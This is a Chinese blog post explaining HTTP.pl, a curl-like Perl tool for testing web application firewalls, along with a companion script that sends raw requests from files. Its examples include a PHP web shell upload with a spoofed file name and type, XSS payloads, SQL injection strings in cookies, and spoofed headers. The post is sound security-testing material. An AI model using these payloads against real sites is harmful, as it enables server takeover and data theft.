一、HTTP.pl功能简介
HTTP.pl perl编写的发包工具,简化版本curl,像curl致敬(唉,“致敬”都被于妈玩坏了)。
 
该发包工具支持HEAD,GET,METHOD三种基本请求方法,能处理 get/post方法的表单处理、文件上传请求、基本认证,能指定HTTP请求头,指定请求超时时间,指定自动Follow重定向的次数及使用代理。
 
 
使用的perl模块
(1)URI 相关模块 : 处理URI对象,分解及组装URI对象

use URI;
use URI::Split qw(uri_split uri_join);
use URI::Escape;

(2)HTTP协议相关部分:构造请求,发送请求,及解析响应

use LWP::UserAgent;
use HTTP::Headers;
use HTTP::Cookies;
use HTTP::Request::Common;

二、HTTP.pl脚本安装
 

git clone https://github.com/tanjiti/WAFTest

cpan App::cpanminus
cat requirePackage.txt | cpanm 
三、HTTP.pl使用实例
1. 脚本选项解析

perl HTTP.pl --help

-help 帮助选项
-url 'http://xxxx.xx.com' HTTP请求的URL
-m|method GET|POST|HEAD HTTP请求方法,默认为GET方法

-H|header X-Forwarded-For='127.0.0.1, 127.0.0.2' -H Via='Squid' HTTP请求头
-cookie usertrack='123456' -b hit=1 HTTP cookie
-d|data name='tanjiti' -d passwd=12345 HTTP 查询字符串/post表单数据

-A|user-agent 'baiduspider' HTTP UserAgent,默认值 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
-e|referer 'http://www.baidu.com' HTTP Referer

-proxy 'http://64.34.14.28:7808' 代理,支持https,http,socks代理
-t|timeout 180 请求超时时间,默认值180s
-L|redirect 7 重定向次数,默认值7次

-F|fileUpload 表明本次请求为文件上传
-fileFiled 'uploaded' 文件域name
-filePath '/tmp/a.jpeg' 本地文件路径
-fileName 'a.php' 上传文件名
-fileContent '<?php eval($_POST[a]);?>' 上传文件内容
-fileType 'image/jpeg' 上传文件类型

-s|silent : 隐藏http完整内容,只显示http响应消息
-r|raw : 表明采用未进行urlencode编码的方式提交post数据

-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码

2.重定向例子
(1)关闭自动重定向
选项 -L

./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 0

(2)设置自动重定向次数,默认为7次

./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 1

3.基本认证例子
 
选项
-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码
 
需要基本验证的请求

./HTTP.pl -url http://www.tanjiti.com/xxx/

基本验证

./HTTP.pl -url http://www.tanjiti.com/xxx/ -basicAuth -username tanjiti -password q

4. GET提交表单的例子
选项 -d

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit'

5. POST提交表单的例子

选项 

-d 提交数据

-method 指定HTTP请求方法

-raw 是否进行urlencode编码

(1)提交urlencode编码

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post

 
(2)提交原始数据

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post -raw

6. 提交文件上传请求
选项说明
 -F|fileUpload 表明本次请求为文件上传

-fileFiled 'uploaded' 文件域name
-filePath '/tmp/a.jpeg' 本地文件路径
-fileName 'a.php' 上传文件名
-fileContent '<?php eval($_POST[a]);?>' 上传文件内容
-fileType 'image/jpeg' 上传文件类型

-d 其他表单域数据

(1)上传本地文件到服务器

上传php文件

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php"

上传jpeg图片文件

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/king.jpeg"

(2) 上传本地文件到服务器,并修改文件实际的名字和类型
文件上传处理程序一般会检查文件名和文件类型,我们可以对其进行伪造

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php" -fileName '1.jpg .php' -fileType 'image/jpeg'

 
(3)  自己构造文件上传包的内容,包括文件名,文件类型,文件内容

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -fileName 'avator.jpeg' -fileType 'image/jpeg' -fileContent '<?php @eval($_POST[a]);?>'

7.构造cookie头

选项 

-cookie

./HTTP.pl -url http://www.tanjiti.com/a.php -cookie username="tanjiti' or ''= '' -- " -cookie password='1 or 1=1 --'

 
 
8.构造HTTP头
在web攻击中,除了篡改cookie,http请求体外,http请求头也是被攻击的对象。因为应用程序出于某些特定需求需要从http请求头里收集信息。
 
下面是常见用于日志收集的HTTP请求头:

User-Agent 脚本中默认为  Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0

Referer   用户是从这个页面上依照链接跳转过来的

Host

Accept  告知服务器发送何种媒体类型,脚本中默认为text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Charset  e.g. utf-8 告知服务器发送何种字符集

Accept-Encoding 告知服务器采用何种编码,脚本中默认为gzip,deflate,sdch

Accept-Language 告知服务器采用何种语言,脚本中默认为 zh-CN,zh;q=0.8,en;q=0.6

X_Forwarded_For  经过的客户端IP地址

Via   代理服务器标识

(1) 指定UserAgent

选项 

-A  或者-user-agent

./HTTP.pl -url http://www.tanjiti.com -A 'tanjiti'

(2)指定referer

选项 

-e  或者-referer

./HTTP.pl -url http://www.tanjiti.com -e 'http://www.google.com'

(3)指定HTTP头

./HTTP.pl -url http://127.0.0.1 -H Accept='*/*' -H Accept-Charset='utf-8' -H Accept-Encoding='identity' -H Accept-Language='zh-CN,zh;q=0.8,en;q=0.6' -H Host='www.tanjiti.com' -H Via='1.0 tanjiit.com(squid 0.54)' -H X-Forwarded-For='129.78.138.66, 129.78.64.103'

 
8.使用代理例子
选项 -proxy
(1)使用HTTP代理

./HTTP.pl -url http://www.tanjiti.com -proxy http://61.158.219.226:8118

(2) 使用tor/socks代理

./HTTP.pl -url http://www.tanjiti.com -proxy socks://127.0.0.1:9050

./HTTP.pl -url http://www.tanjiti.com -proxy socks://180.153.139.246:8888

9.其它选项
 
(1) 仅发包,不回显具体的HTTP协议包
选项 -s

./HTTP.pl -url http://www.tanjiti.com/a.php -s

(2)指定请求超时时间,默认为180s

选项 -t (单位s)

./HTTP.pl -url http://www.tanjiti.com/ -t 20

四、HTTPFromFile.pl

从文件内容构造HTTP请求来发包
以测试某个站点WAF的XSS防御为例
 
第一步:构造XSS请求包

echo -ne 'GET /?a=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1\r\nHost: www.tanjiti.com\r\nUserAgent: curl 0.9\r\n' > xss.t

 
第二步:发送xss请求包

perl HTTPFromFile.pl -code 403 -host www.tanjiti.com -port 80 -file xss.t

选项说明:

-code: 预期的http响应码,不是所有的waf都用403做拦截响应码
-host: 指定发包的Host,默认为127.0.0.1
-port 指定发包的端口,默认为80
-file 指定存放请求包内容的文件,必须指定该参数
 
HTTPFromFile还可以批量读取文件内容与发送请求包,并通缉结果

perl HTTPFromFile.pl -host www.tanjiti.com -dir ~/WAFTest/t

-dir 指定存放请求包内容的文件目录

原文地址:http://danqingdani.blog.163.com/blog/static/18609419520144202591392/

通过HTTP发包工具了解HTTP协议的更多相关文章

  1. 三款经常使用IP发包工具介绍

    AntPower 版权全部© 2003 技术文章http://www.antpower.org 第1 页共14 页AntPower-技术文章三款经常使用IP 发包工具介绍小蚁雄心成员郎国军著lgj@q ...

  2. HTTP发包工具 -HTTPie

    原文: https://zm8.sm-tc.cn/?src=l4uLj8XQ0IuekZWWi5bRk5CZi5qN0ZyQktCPkIyL0M6cnMmcx8qdoM7PnMrIyMnI&u ...

  3. Sendip 命令行发包工具,支持IP、TCP、UDP等

    Sendip是一个linux平台的命令行发数据包工具,目前(2018年2月)支持的协议有ipv4.ipv6.icmp.tcp.udp.bgp.rip.ntp,作者表示其他协议将会后面支持,当他有空写的 ...

  4. charles重复发包工具/repeat

    重复发包工具/repeat Charles 让你选择一个请求并重复,在测试后端接口的时候非常有用: Charles将请求重新发送到服务器,并将响应显示为新请求. 如果您进行后端更改并希望测试它们,用了 ...

  5. 数据包发包工具bittwist

    数据包发包工具bittwist   渗透测试中,通过发送特定格式的包,可以实施网络嗅探和攻击.Kali Linux提供一款发包工具bittwist.该工具可以通过指定的网络接口发送数据.该工具不仅可以 ...

  6. 【发包工具】http多线程发包工具

    [发包工具]http多线程发包工具 使用方法:输入地址,发送的内容,线程数,等待时间,每个线程发送的次数,GET/POST请求. 源代码 package com.xmxkkk.httptest; im ...

  7. xcap发包工具的简单使用1(构造报文)

    xcap是一个免费的网络发包工具,可以构造和发送常用的网络报文,如arp,ip,icmp,udp等,支持构造报文和发送报文等. 报文隶属于报文组,每个报文组包含多个报文,因此,创建报文首先要创建报文组 ...

  8. charles 批量重复请求/重复发包工具

    本文参考:charles 批量请求 重复发包工具/repeat Charles 让你选择一个请求并重复,在测试后端接口的时候非常有用: Charles将请求重新发送到服务器,并将响应显示为新请求. 如 ...

  9. 【测试工具】http协议调试利器fiddler使用教程

    转自:http协议调试利器fiddler使用教程http://bbs.phpchina.com/thread-207418-1-1.html Fiddler真乃神器!它和市面上常见的很多web调试器. ...

随机推荐

  1. django “如何”系列3:如何编写模型域(model filed)

    django自带很多的域类--CharField,DateField等等--,如果django的这些域都不能满足你精确的要求,那么你可以编写自己的模型域. django自带的域没有和数据库列类型一一对 ...

  2. JAX-RS Resteasy

    JAX-RS (JSR-311) 是为 Java EE 环境下的 RESTful 服务能力提供的一种规范.它能提供对传统的基于 SOAP 的 Web 服务的一种可行替代. https://www.ib ...

  3. CSS 绝对居中方案

    .Absolute-Center { margin: auto; position: absolute; top:;;;; }

  4. MySQL 的数据存储引擎

    MySQL的存储引擎 InnoDB: MySQL5.5之后的默认存储引擎. 采用MVCC来支持高并发,并且实现了四个标准的隔离级别(默认可重复读). 支持事务,支持外键.支持行锁.非锁定读(默认读取操 ...

  5. AC日记——[USACO06FEB]奶牛零食Treats for the Cows 洛谷 P2858

    [USACO06FEB]奶牛零食Treats for the Cows 思路: 区间DP: 代码: #include <bits/stdc++.h> using namespace std ...

  6. 使用python获取网易云音乐无损音频教程

    博客园主页:http://www.cnblogs.com/handoing/ github项目:https://github.com/handoing/get-163-music 环境:Python ...

  7. git add . 的时候遇到warning: LF will be replaced by CRLF in ...... 解决办法

    输 入 git add . 后出现 warning: LF will be replaced by CRLF in ...... The file will have its original lin ...

  8. 哈尔滨理工大学第七届程序设计竞赛(G.Great Atm)

    Description An old story said the evil dragon wasn't evil at all, only bewitched, and now that the r ...

  9. 【BZOJ 2802】 2802: [Poi2012]Warehouse Store (贪心)

    2802: [Poi2012]Warehouse Store Description 有一家专卖一种商品的店,考虑连续的n天.第i天上午会进货Ai件商品,中午的时候会有顾客需要购买Bi件商品,可以选择 ...

  10. [LOJ500]ZQC的拼图

    题目大意: 给你一个m*m的格子,让你往里面放给定的直角三角形,直角顶点必须放在右上角且不能翻转,但是可以把所有给定的三角形放大一个整数倍k,问至少放大几倍能使格子的左下角和右上角连起来?(可以超出边 ...